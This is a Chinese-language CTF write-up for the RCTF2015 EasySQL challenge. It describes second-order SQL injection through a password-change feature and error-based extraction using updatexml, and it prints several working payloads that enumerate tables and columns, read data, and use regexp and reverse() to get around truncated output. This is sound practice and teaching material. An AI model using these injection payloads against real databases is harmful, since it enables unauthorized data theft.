Skip to content

Latest commit

 

History

History
97 lines (56 loc) · 2.19 KB

[RCTF2015]EasySQL.md

File metadata and controls

97 lines (56 loc) · 2.19 KB

[RCTF2015]EasySQL

知识点

sql注入

二次注入

解题

首页为注册界面

Alt text

注册一个新用户,登入进去可以修改密码,应该是二次注入

注册时fuzz发现部分字符被过滤

Alt text

Alt text

Change password时显示报错,则可以使用报错注入

Alt text

则可推断出这部分的sql语句

update user set password='xxx' where username="xxxx" and pwd='202cb962ac59075b964b07152d234b70'

方法一: updatexml注入

获取表

admin"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

Alt text

Alt text

Alt text

获取列名

admin"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#

Alt text

获取flag内容

admin"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#

Alt text

是个假的flag,再找找其他表

admin"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)#

Alt text

但是要输出数据的时候提示没有存在该列,可以推测该列没有被完全输出

可以用regexp正则来匹配

因为&burpsuite中会被识别为传参,所以需要url编码

Alt text

Alt text

admin"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1)#

Alt text

右边的~都还没出来,还是regexp来找flag

admin"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#

Alt text

打印出了前面的flag,后面还没显示出来,可以用reverse逆序输出flag

admin"^updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)#